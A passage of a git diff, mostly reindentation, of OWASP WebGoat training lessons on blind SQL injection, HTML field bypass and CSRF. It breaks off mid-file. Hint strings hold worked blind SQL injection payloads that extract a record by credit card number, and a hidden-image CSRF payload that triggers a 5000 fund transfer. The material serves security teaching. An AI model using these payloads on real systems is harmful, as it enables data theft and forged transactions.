If you get back that account number is valid, then yes. If get back that the number is " - + "invalid then answer is no."); - hints - .add("Partial Solution for Second Character:" - + "

Is the second character of the name of the record with a cc_number of " - + TARGET_CC_NUM - + " greater than 'k'? " - + "

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='" - + TARGET_CC_NUM - + "'), 2, 1) > 'k' ); " - + "

If you get back that account number is valid, then yes. If get back that the number is " - + "invalid then answer is no."); - + hints + .add("The application is taking your input and inserting it at the end of a pre-formed SQL command. " + + "You will need to make use of the following SQL contstructs: " + + + "

AND - combine the logic of the normal query with a boolean result" + + "

( and ) - group subexpressions so they evaluate properly" + + "

SELECT - make a subquery for your target data and get a string " + + "

SUBSTRING(string, start, length) - returns a " + + "substring of string starting at the start character and going for length characters " + + "

> and = and < - once you have a character's value, compare it to a choosen one" + + "

You can find more about HSQLDB's SQL Syntax at " + + "http://hsqldb.org/doc/guide/ch09.html"); + + hints.add("This is the code for the query being built and issued by WebGoat:

" + + "\"SELECT * FROM user_data WHERE userid = \" + accountNumber "); + + hints + .add("Here is an example for another table:" + + "

In the table user_data, is the first character of the first_name for the record with a cc_number of " + + "333498703333" + + " greater than 'M'? " + + "

101 AND (SUBSTRING((SELECT first_name FROM user_data WHERE cc_number='" + + "333498703333" + + "'), 1, 1) > 'M' ); " + + "

If you get back that account number is valid, then yes. If get back that the number is " + + "invalid then answer is no."); + hints + .add("Partial Solution for First Character:" + + "

Is the first character of the name of the record with a cc_number of " + + TARGET_CC_NUM + + " less than 'M'? " + + "

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='" + + TARGET_CC_NUM + + "'), 1, 1) < 'M' ); " + + "

If you get back that account number is valid, then yes. If get back that the number is " + + "invalid then answer is no."); + hints + .add("Another Part of Solution for First Character:" + + "

Is the first character of the name of the record with a cc_number of " + + TARGET_CC_NUM + + " less than 'H'? " + + "

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='" + + TARGET_CC_NUM + + "'), 1, 1) < 'H' ); " + + "

If you get back that account number is valid, then yes. If get back that the number is " + + "invalid then answer is no."); + hints + .add("Partial Solution for Second Character:" + + "

Is the second character of the name of the record with a cc_number of " + + TARGET_CC_NUM + + " greater than 'k'? " + + "

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='" + + TARGET_CC_NUM + + "'), 2, 1) > 'k' ); " + + "

If you get back that account number is valid, then yes. If get back that the number is " + + "invalid then answer is no."); + - return hints; + return hints; } /** @@ -271,24 +271,24 @@ public class BlindStringSqlInjection extends LessonAdapter */ public String getInstructions(WebSession s) { - String instructions = "The form below allows a user to enter an account number and determine if " - + "it is valid or not. Use this form to develop a true / false test check other entries in the database. " - + "

Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122 " - + "

The goal is to find the value of " - + "the field name in table pins for the row with the cc_number of " - + TARGET_CC_NUM - + ". The field is of type varchar, which is a string." - + "

Put the discovered name in the form to pass the lesson. Only the discovered name " - + "should be put into the form field, paying close attention to the spelling and capitalization."; + String instructions = "The form below allows a user to enter an account number and determine if " + + "it is valid or not. Use this form to develop a true / false test check other entries in the database. " + + "

Reference Ascii Values: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122 " + + "

The goal is to find the value of " + + "the field name in table pins for the row with the cc_number of " + + TARGET_CC_NUM + + ". The field is of type varchar, which is a string." + + "

Put the discovered name in the form to pass the lesson. Only the discovered name " + + "should be put into the form field, paying close attention to the spelling and capitalization."; - return (instructions); + return (instructions); } private final static Integer DEFAULT_RANKING = new Integer(95); protected Integer getDefaultRanking() { - return DEFAULT_RANKING; + return DEFAULT_RANKING; } /** @@ -298,7 +298,7 @@ public class BlindStringSqlInjection extends LessonAdapter */ public String getTitle() { - return ("Blind String SQL Injection"); + return ("Blind String SQL Injection"); } /** @@ -309,14 +309,14 @@ public class BlindStringSqlInjection extends LessonAdapter */ public void handleRequest(WebSession s) { - try - { - super.handleRequest(s); - } - catch (Exception e) - { - System.out.println("Exception caught: " + e); - e.printStackTrace(System.out); - } + try + { + super.handleRequest(s); + } + catch (Exception e) + { + System.out.println("Exception caught: " + e); + e.printStackTrace(System.out); + } } } diff --git a/src/main/java/org/owasp/webgoat/lessons/BypassHtmlFieldRestrictions.java b/src/main/java/org/owasp/webgoat/lessons/BypassHtmlFieldRestrictions.java index 1a397fc79..28149fb43 100644 --- a/src/main/java/org/owasp/webgoat/lessons/BypassHtmlFieldRestrictions.java +++ b/src/main/java/org/owasp/webgoat/lessons/BypassHtmlFieldRestrictions.java @@ -58,125 +58,125 @@ import org.owasp.webgoat.util.WebGoatI18N; */ public class BypassHtmlFieldRestrictions extends SequentialLessonAdapter { - public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0)); - - private final static String USERID = "userid"; + public final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0)); + + private final static String USERID = "userid"; - private String userid; + private String userid; - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - try { - boolean failed = false; + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + try { + boolean failed = false; - // select element - ec.addElement(new Div().addElement(new StringElement("Select field with two possible values:"))); - - String[] allowedSelect = {"foo", "bar"}; - - ec.addElement(new org.apache.ecs.html.Select("select", allowedSelect)); - - // radio button element - ec.addElement(new P()); - ec.addElement(new Div().addElement(new StringElement("Radio button with two possible values:"))); - - - Input radiofoo = new Input("radio", "radio", "foo"); - radiofoo.setChecked(true); - ec.addElement(radiofoo); - ec.addElement(new StringElement("foo")); - ec.addElement(new BR()); - ec.addElement(new Input("radio", "radio", "bar")); - ec.addElement(new StringElement("bar")); - - // checkbox - ec.addElement(new P()); - ec.addElement(new Div().addElement(new StringElement("Checkbox:"))); - Input checkbox = new Input("checkbox", "checkbox"); - checkbox.setChecked(true); - ec.addElement(checkbox); - ec.addElement(new StringElement("checkbox")); - - // create shortinput - ec.addElement(new P()); - ec.addElement(new Div().addElement(new StringElement("Input field restricted to 5 characters:"))); - Input shortinput = new Input(Input.TEXT, "shortinput", "12345"); - shortinput.setMaxlength(5); - ec.addElement(shortinput); + // select element + ec.addElement(new Div().addElement(new StringElement("Select field with two possible values:"))); + + String[] allowedSelect = {"foo", "bar"}; + + ec.addElement(new org.apache.ecs.html.Select("select", allowedSelect)); + + // radio button element + ec.addElement(new P()); + ec.addElement(new Div().addElement(new StringElement("Radio button with two possible values:"))); + + + Input radiofoo = new Input("radio", "radio", "foo"); + radiofoo.setChecked(true); + ec.addElement(radiofoo); + ec.addElement(new StringElement("foo")); + ec.addElement(new BR()); + ec.addElement(new Input("radio", "radio", "bar")); + ec.addElement(new StringElement("bar")); + + // checkbox + ec.addElement(new P()); + ec.addElement(new Div().addElement(new StringElement("Checkbox:"))); + Input checkbox = new Input("checkbox", "checkbox"); + checkbox.setChecked(true); + ec.addElement(checkbox); + ec.addElement(new StringElement("checkbox")); + + // create shortinput + ec.addElement(new P()); + ec.addElement(new Div().addElement(new StringElement("Input field restricted to 5 characters:"))); + Input shortinput = new Input(Input.TEXT, "shortinput", "12345"); + shortinput.setMaxlength(5); + ec.addElement(shortinput); - ec.addElement(new P()); - ec.addElement(new Div().addElement(new StringElement("Disabled input field:"))); - String defaultdisabledinputtext = "disabled"; - Input disabledinput = new Input(Input.TEXT, "disabledinput", defaultdisabledinputtext); - disabledinput.setDisabled(true); - ec.addElement(disabledinput); - ec.addElement(new BR()); - - // Submit Button - ec.addElement(new P()); - ec.addElement(new Div().addElement(new StringElement("Submit button:"))); - String submittext = "Submit"; - Element b = ECSFactory.makeButton(submittext); - ec.addElement(b); - - // Now check inputs that were submitted (if any) - - // check select field - String submittedselect = s.getParser().getRawParameter("select"); - if(submittedselect.equals("foo")) failed = true; - if(submittedselect.equals("bar")) failed = true; - - // check radio buttons - String submittedradio = s.getParser().getRawParameter("radio"); - if(submittedselect.equals("foo")) failed = true; - if(submittedselect.equals("bar")) failed = true; - - // check checkbox (note - if the box is not checked, this will throw an exception, but that - // is okay) - if(s.getParser().getRawParameter("checkbox").equals("on")) failed = true; - - // check shortinput - if(s.getParser().getRawParameter("shortinput").length() < 6) failed = true; - - // check disabledinput (note - if the field was not re-enabled, this will throw an exception, but that - // is okay) - if(s.getParser().getRawParameter("disabledinput").equals(defaultdisabledinputtext)) failed = true; - - // check submitbutton - if(s.getParser().getRawParameter("SUBMIT").equals(submittext)) failed = true; - - - // if we didn't fail, we succeeded! - if(failed != true) { - makeSuccess(s); - } - - } catch(ParameterNotFoundException e) { - //s.setMessage("Error, required parameter not found"); - e.printStackTrace(); - } - - return (ec); - } + ec.addElement(new P()); + ec.addElement(new Div().addElement(new StringElement("Disabled input field:"))); + String defaultdisabledinputtext = "disabled"; + Input disabledinput = new Input(Input.TEXT, "disabledinput", defaultdisabledinputtext); + disabledinput.setDisabled(true); + ec.addElement(disabledinput); + ec.addElement(new BR()); + + // Submit Button + ec.addElement(new P()); + ec.addElement(new Div().addElement(new StringElement("Submit button:"))); + String submittext = "Submit"; + Element b = ECSFactory.makeButton(submittext); + ec.addElement(b); + + // Now check inputs that were submitted (if any) + + // check select field + String submittedselect = s.getParser().getRawParameter("select"); + if(submittedselect.equals("foo")) failed = true; + if(submittedselect.equals("bar")) failed = true; + + // check radio buttons + String submittedradio = s.getParser().getRawParameter("radio"); + if(submittedselect.equals("foo")) failed = true; + if(submittedselect.equals("bar")) failed = true; + + // check checkbox (note - if the box is not checked, this will throw an exception, but that + // is okay) + if(s.getParser().getRawParameter("checkbox").equals("on")) failed = true; + + // check shortinput + if(s.getParser().getRawParameter("shortinput").length() < 6) failed = true; + + // check disabledinput (note - if the field was not re-enabled, this will throw an exception, but that + // is okay) + if(s.getParser().getRawParameter("disabledinput").equals(defaultdisabledinputtext)) failed = true; + + // check submitbutton + if(s.getParser().getRawParameter("SUBMIT").equals(submittext)) failed = true; + + + // if we didn't fail, we succeeded! + if(failed != true) { + makeSuccess(s); + } + + } catch(ParameterNotFoundException e) { + //s.setMessage("Error, required parameter not found"); + e.printStackTrace(); + } + + return (ec); + } - /** - * Gets the category attribute of the object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - return Category.PARAMETER_TAMPERING; - } + /** + * Gets the category attribute of the object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.PARAMETER_TAMPERING; + } /** * Gets the credits attribute of the AbstractLesson object @@ -185,41 +185,41 @@ public class BypassHtmlFieldRestrictions extends SequentialLessonAdapter */ public Element getCredits() { - return super.getCustomCredits("Created by Chuck Willis ", MANDIANT_LOGO); + return super.getCustomCredits("Created by Chuck Willis ", MANDIANT_LOGO); } - - /** - * Gets the hints attribute of the DatabaseFieldScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - - hints.add(WebGoatI18N.get("BypassHtmlFieldRestrictionsHint1")); - hints.add(WebGoatI18N.get("BypassHtmlFieldRestrictionsHint2")); - hints.add(WebGoatI18N.get("BypassHtmlFieldRestrictionsHint3")); + + /** + * Gets the hints attribute of the DatabaseFieldScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + + hints.add(WebGoatI18N.get("BypassHtmlFieldRestrictionsHint1")); + hints.add(WebGoatI18N.get("BypassHtmlFieldRestrictionsHint2")); + hints.add(WebGoatI18N.get("BypassHtmlFieldRestrictionsHint3")); - return hints; - } + return hints; + } - private final static Integer DEFAULT_RANKING = new Integer(10); + private final static Integer DEFAULT_RANKING = new Integer(10); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the DatabaseFieldScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Bypass HTML Field Restrictions"); - } + /** + * Gets the title attribute of the DatabaseFieldScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Bypass HTML Field Restrictions"); + } /** * Gets the instructions attribute of the SqlInjection object @@ -228,29 +228,29 @@ public class BypassHtmlFieldRestrictions extends SequentialLessonAdapter */ public String getInstructions(WebSession s) { - String instructions = "The form below uses HTML form field restrictions. " + - " In order to pass this lesson, submit the form with each field containing an unallowed value. " - + "You must submit invalid values for all six fields in one form submission."; + String instructions = "The form below uses HTML form field restrictions. " + + " In order to pass this lesson, submit the form with each field containing an unallowed value. " + + "You must submit invalid values for all six fields in one form submission."; - return (instructions); + return (instructions); + } + + /** + * Constructor for the DatabaseFieldScreen object + * + * @param s + * Description of the Parameter + */ + public void handleRequest(WebSession s) + { + try + { + super.handleRequest(s); + } catch (Exception e) + { + // System.out.println("Exception caught: " + e); + e.printStackTrace(System.out); + } } - - /** - * Constructor for the DatabaseFieldScreen object - * - * @param s - * Description of the Parameter - */ - public void handleRequest(WebSession s) - { - try - { - super.handleRequest(s); - } catch (Exception e) - { - // System.out.println("Exception caught: " + e); - e.printStackTrace(System.out); - } - } } diff --git a/src/main/java/org/owasp/webgoat/lessons/CSRF.java b/src/main/java/org/owasp/webgoat/lessons/CSRF.java index c987e7ea1..74b510971 100644 --- a/src/main/java/org/owasp/webgoat/lessons/CSRF.java +++ b/src/main/java/org/owasp/webgoat/lessons/CSRF.java @@ -65,318 +65,318 @@ import org.owasp.webgoat.util.HtmlEncoder; */ public class CSRF extends LessonAdapter { - protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds"; - protected static final String TRANSFER_FUNDS_PAGE = "main"; - private final static String MESSAGE = "message"; - private final static int MESSAGE_COL = 3; - private final static String NUMBER = "Num"; - private final static int NUM_COL = 1; - private final static String STANDARD_QUERY = "SELECT * FROM messages"; - private final static String TITLE = "title"; - private final static int TITLE_COL = 2; - private static int count = 1; - private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted - // message - public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); - /** - * Adds a feature to the Message attribute of the MessageBoardScreen object - * - * @param s - * The feature to be added to the Message attribute - */ - protected void addMessage(WebSession s) - { - try - { - String title = HtmlEncoder.encode(s.getParser().getRawParameter(TITLE, "")); - String message = s.getParser().getRawParameter(MESSAGE, ""); + protected static final String TRANSFER_FUNDS_PARAMETER = "transferFunds"; + protected static final String TRANSFER_FUNDS_PAGE = "main"; + private final static String MESSAGE = "message"; + private final static int MESSAGE_COL = 3; + private final static String NUMBER = "Num"; + private final static int NUM_COL = 1; + private final static String STANDARD_QUERY = "SELECT * FROM messages"; + private final static String TITLE = "title"; + private final static int TITLE_COL = 2; + private static int count = 1; + private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted + // message + public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); + /** + * Adds a feature to the Message attribute of the MessageBoardScreen object + * + * @param s + * The feature to be added to the Message attribute + */ + protected void addMessage(WebSession s) + { + try + { + String title = HtmlEncoder.encode(s.getParser().getRawParameter(TITLE, "")); + String message = s.getParser().getRawParameter(MESSAGE, ""); - Connection connection = DatabaseUtilities.getConnection(getNameroot(s.getUserName()),s.getWebgoatContext()); + Connection connection = DatabaseUtilities.getConnection(getNameroot(s.getUserName()),s.getWebgoatContext()); - String query = "INSERT INTO messages VALUES (?, ?, ?, ?, ? )"; + String query = "INSERT INTO messages VALUES (?, ?, ?, ?, ? )"; - PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - statement.setInt(1, count++); - statement.setString(2, title); - statement.setString(3, message); - statement.setString(4, s.getUserName()); - statement.setString(5, this.getClass().getName()); - statement.execute(); + PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + statement.setInt(1, count++); + statement.setString(2, title); + statement.setString(3, message); + statement.setString(4, s.getUserName()); + statement.setString(5, this.getClass().getName()); + statement.execute(); - } catch (Exception e) - { - s.setMessage("Could not add message to database"); - } - } + } catch (Exception e) + { + s.setMessage("Could not add message to database"); + } + } - @Override - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - if (isTransferFunds(s)){ - ec.addElement(doTransfer(s)); - } else { - addMessage(s); - ec.addElement(makeInput(s)); - ec.addElement(new HR()); - ec.addElement(makeCurrent(s)); - ec.addElement(new HR()); - ec.addElement(makeList(s)); - } - return ec; - } + @Override + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + if (isTransferFunds(s)){ + ec.addElement(doTransfer(s)); + } else { + addMessage(s); + ec.addElement(makeInput(s)); + ec.addElement(new HR()); + ec.addElement(makeCurrent(s)); + ec.addElement(new HR()); + ec.addElement(makeList(s)); + } + return ec; + } - /** - * if TRANSFER_FUND_PARAMETER is a parameter, then doTransfer is invoked. doTranser presents the - * web content to display the electronic transfer of funds. An request - * should have a dollar amount specified. When this page is accessed it will mark the lesson complete - * - * @param s - * @return Element will appropriate web content for a transfer of funds. - */ - protected Element doTransfer(WebSession s) { - String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "")); - ElementContainer ec = new ElementContainer(); - - if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){ - - //transfer form - ec.addElement(new H1("Electronic Transfer:")); - String action = getLink(); - Form form = new Form(action, Form.POST); - form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0")); - //if this token is present we won't mark the lesson as completed - form.addElement( new Input(Input.submit)); - ec.addElement(form); - //present transfer funds form - } else if (transferFunds.length() != 0){ - - //transfer is confirmed - ec.addElement(new H1("Electronic Transfer Complete")); - ec.addElement(new StringElement("Amount Transfered: "+transferFunds)); - makeSuccess(s); - } - return ec; - } + /** + * if TRANSFER_FUND_PARAMETER is a parameter, then doTransfer is invoked. doTranser presents the + * web content to display the electronic transfer of funds. An request + * should have a dollar amount specified. When this page is accessed it will mark the lesson complete + * + * @param s + * @return Element will appropriate web content for a transfer of funds. + */ + protected Element doTransfer(WebSession s) { + String transferFunds = HtmlEncoder.encode(s.getParser().getRawParameter(TRANSFER_FUNDS_PARAMETER, "")); + ElementContainer ec = new ElementContainer(); + + if (transferFunds.equalsIgnoreCase(TRANSFER_FUNDS_PAGE)){ + + //transfer form + ec.addElement(new H1("Electronic Transfer:")); + String action = getLink(); + Form form = new Form(action, Form.POST); + form.addElement( new Input(Input.text, TRANSFER_FUNDS_PARAMETER, "0")); + //if this token is present we won't mark the lesson as completed + form.addElement( new Input(Input.submit)); + ec.addElement(form); + //present transfer funds form + } else if (transferFunds.length() != 0){ + + //transfer is confirmed + ec.addElement(new H1("Electronic Transfer Complete")); + ec.addElement(new StringElement("Amount Transfered: "+transferFunds)); + makeSuccess(s); + } + return ec; + } - /** - * @param s current web session - * @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page. - */ - protected boolean isTransferFunds(WebSession s) { - return s.getRequest().getParameterMap().containsKey(TRANSFER_FUNDS_PARAMETER); - } + /** + * @param s current web session + * @return true if the page should be rendered as a Transfer of funds page or false for the normal message posting page. + */ + protected boolean isTransferFunds(WebSession s) { + return s.getRequest().getParameterMap().containsKey(TRANSFER_FUNDS_PARAMETER); + } - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element makeInput(WebSession s) - { - Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); - TR row1 = new TR(); - TR row2 = new TR(); - row1.addElement(new TD(new StringElement("Title: "))); + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element makeInput(WebSession s) + { + Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); + TR row1 = new TR(); + TR row2 = new TR(); + row1.addElement(new TD(new StringElement("Title: "))); - Input inputTitle = new Input(Input.TEXT, TITLE, ""); - row1.addElement(new TD(inputTitle)); + Input inputTitle = new Input(Input.TEXT, TITLE, ""); + row1.addElement(new TD(inputTitle)); - TD item1 = new TD(); - item1.setVAlign("TOP"); - item1.addElement(new StringElement("Message: ")); - row2.addElement(item1); + TD item1 = new TD(); + item1.setVAlign("TOP"); + item1.addElement(new StringElement("Message: ")); + row2.addElement(item1); - TD item2 = new TD(); - TextArea ta = new TextArea(MESSAGE, 12, 60); - ta.addAttribute("wrap", "soft"); - item2.addElement(ta); - row2.addElement(item2); - t.addElement(row1); - t.addElement(row2); + TD item2 = new TD(); + TextArea ta = new TextArea(MESSAGE, 12, 60); + ta.addAttribute("wrap", "soft"); + item2.addElement(ta); + row2.addElement(item2); + t.addElement(row1); + t.addElement(row2); - Element b = ECSFactory.makeButton("Submit"); - ElementContainer ec = new ElementContainer(); - ec.addElement(t); - ec.addElement(new P().addElement(b)); + Element b = ECSFactory.makeButton("Submit"); + ElementContainer ec = new ElementContainer(); + ec.addElement(t); + ec.addElement(new P().addElement(b)); - return (ec); - } + return (ec); + } - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - public Element makeList(WebSession s) - { - Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + public Element makeList(WebSession s) + { + Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); - try - { - Connection connection = DatabaseUtilities.getConnection(getNameroot(s.getUserName()),s.getWebgoatContext()); + try + { + Connection connection = DatabaseUtilities.getConnection(getNameroot(s.getUserName()),s.getWebgoatContext()); - // edit by Chuck Willis - Added logic to associate similar usernames - // The idea is that users chuck-1, chuck-2, etc will see each other's messages - // but not anyone elses. This allows users to try out XSS to grab another user's - // cookies, but not get confused by other users scripts + // edit by Chuck Willis - Added logic to associate similar usernames + // The idea is that users chuck-1, chuck-2, etc will see each other's messages + // but not anyone elses. This allows users to try out XSS to grab another user's + // cookies, but not get confused by other users scripts - String query = "SELECT * FROM messages WHERE user_name LIKE ? and lesson_type = ?"; - PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - statement.setString(1, getNameroot(s.getUserName()) + "%"); - statement.setString(2, getClass().getName()); - ResultSet results = statement.executeQuery(); + String query = "SELECT * FROM messages WHERE user_name LIKE ? and lesson_type = ?"; + PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + statement.setString(1, getNameroot(s.getUserName()) + "%"); + statement.setString(2, getClass().getName()); + ResultSet results = statement.executeQuery(); - if ((results != null) && (results.first() == true)) - { - results.beforeFirst(); + if ((results != null) && (results.first() == true)) + { + results.beforeFirst(); - for (int i = 0; results.next(); i++) - { - String link = "" + results.getString(TITLE_COL) + ""; - TD td = new TD().addElement(link); - TR tr = new TR().addElement(td); - t.addElement(tr); - } - } - } catch (Exception e) - { - s.setMessage("Error while getting message list."); - } + for (int i = 0; results.next(); i++) + { + String link = "" + results.getString(TITLE_COL) + ""; + TD td = new TD().addElement(link); + TR tr = new TR().addElement(td); + t.addElement(tr); + } + } + } catch (Exception e) + { + s.setMessage("Error while getting message list."); + } - ElementContainer ec = new ElementContainer(); - ec.addElement(new H1("Message List")); - ec.addElement(t); - String transferFunds = s.getParser().getRawParameter("transferFunds", ""); - if (transferFunds.length() != 0) - { - makeSuccess(s); - } + ElementContainer ec = new ElementContainer(); + ec.addElement(new H1("Message List")); + ec.addElement(t); + String transferFunds = s.getParser().getRawParameter("transferFunds", ""); + if (transferFunds.length() != 0) + { + makeSuccess(s); + } - return (ec); - } + return (ec); + } - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element makeCurrent(WebSession s) - { - ElementContainer ec = new ElementContainer(); + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element makeCurrent(WebSession s) + { + ElementContainer ec = new ElementContainer(); - try - { - int messageNum = s.getParser().getIntParameter(NUMBER, 0); + try + { + int messageNum = s.getParser().getIntParameter(NUMBER, 0); - Connection connection = DatabaseUtilities.getConnection(getNameroot(s.getUserName()),s.getWebgoatContext()); + Connection connection = DatabaseUtilities.getConnection(getNameroot(s.getUserName()),s.getWebgoatContext()); - String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ? and lesson_type = ?"; - PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - statement.setString(1, getNameroot(s.getUserName()) + "%"); - statement.setInt(2, messageNum); - statement.setString(3, this.getClass().getName()); - ResultSet results = statement.executeQuery(); + String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ? and lesson_type = ?"; + PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + statement.setString(1, getNameroot(s.getUserName()) + "%"); + statement.setInt(2, messageNum); + statement.setString(3, this.getClass().getName()); + ResultSet results = statement.executeQuery(); - if ((results != null) && results.first()) - { - ec.addElement(new H1("Message Contents For: " + results.getString(TITLE_COL))); - Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); - TR row1 = new TR(new TD(new B(new StringElement("Title:")))); - row1.addElement(new TD(new StringElement(results.getString(TITLE_COL)))); - t.addElement(row1); + if ((results != null) && results.first()) + { + ec.addElement(new H1("Message Contents For: " + results.getString(TITLE_COL))); + Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); + TR row1 = new TR(new TD(new B(new StringElement("Title:")))); + row1.addElement(new TD(new StringElement(results.getString(TITLE_COL)))); + t.addElement(row1); - String messageData = results.getString(MESSAGE_COL); - TR row2 = new TR(new TD(new B(new StringElement("Message:")))); - row2.addElement(new TD(new StringElement(messageData))); - t.addElement(row2); + String messageData = results.getString(MESSAGE_COL); + TR row2 = new TR(new TD(new B(new StringElement("Message:")))); + row2.addElement(new TD(new StringElement(messageData))); + t.addElement(row2); - TR row3 = new TR(new TD(new StringElement("Posted By:"))); - row3.addElement(new TD(new StringElement(results.getString(USER_COL)))); - t.addElement(row3); + TR row3 = new TR(new TD(new StringElement("Posted By:"))); + row3.addElement(new TD(new StringElement(results.getString(USER_COL)))); + t.addElement(row3); - ec.addElement(t); + ec.addElement(t); - } - else - { - if (messageNum != 0) - { - ec.addElement(new P().addElement("Could not find message " + messageNum)); - } - } + } + else + { + if (messageNum != 0) + { + ec.addElement(new P().addElement("Could not find message " + messageNum)); + } + } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } - return (ec); - } + return (ec); + } - @Override - protected Category getDefaultCategory() - { - return Category.XSS; - } + @Override + protected Category getDefaultCategory() + { + return Category.XSS; + } - private final static Integer DEFAULT_RANKING = new Integer(121); + private final static Integer DEFAULT_RANKING = new Integer(121); - @Override - protected Integer getDefaultRanking() - { + @Override + protected Integer getDefaultRanking() + { - return DEFAULT_RANKING; - } + return DEFAULT_RANKING; + } - @Override - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Enter some text and try to include an image in there."); - hints.add("In order to make the picture almost invisible try to add width=\"1\" and height=\"1\"."); - hints.add("The format of an image in html is
<img src=\"[URL]\" width=\"1\" height=\"1\" />
"); - hints.add("Include this URL in the message
<img src='" + getLink()
-				+ "&transferFunds=5000' width=\"1\" height=\"1\" />
"); + @Override + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Enter some text and try to include an image in there."); + hints.add("In order to make the picture almost invisible try to add width=\"1\" and height=\"1\"."); + hints.add("The format of an image in html is
<img src=\"[URL]\" width=\"1\" height=\"1\" />
"); + hints.add("Include this URL in the message
<img src='" + getLink()
+                + "&transferFunds=5000' width=\"1\" height=\"1\" />
"); - return hints; - } + return hints; + } - /** - * Gets the title attribute of the MessageBoardScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Cross Site Request Forgery (CSRF)"); - } + /** + * Gets the title attribute of the MessageBoardScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Cross Site Request Forgery (CSRF)"); + } - private static String getNameroot(String name) - { - String nameroot = name; - if (nameroot.indexOf('-') != -1) - { - nameroot = nameroot.substring(0, nameroot.indexOf('-')); - } - return nameroot; - } + private static String getNameroot(String name) + { + String nameroot = name; + if (nameroot.indexOf('-') != -1) + { + nameroot = nameroot.substring(0, nameroot.indexOf('-')); + } + return nameroot; + } - public Element getCredits() - { - return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/Challenge2Screen.java b/src/main/java/org/owasp/webgoat/lessons/Challenge2Screen.java index b3f73ab8f..6812baf59 100644 --- a/src/main/java/org/owasp/webgoat/lessons/Challenge2Screen.java +++ b/src/main/java/org/owasp/webgoat/lessons/Challenge2Screen.java @@ -73,730 +73,730 @@ import org.owasp.webgoat.util.ExecResults; */ public class Challenge2Screen extends SequentialLessonAdapter { - private static final String USER_COOKIE = "user"; - - private static final String JSP = 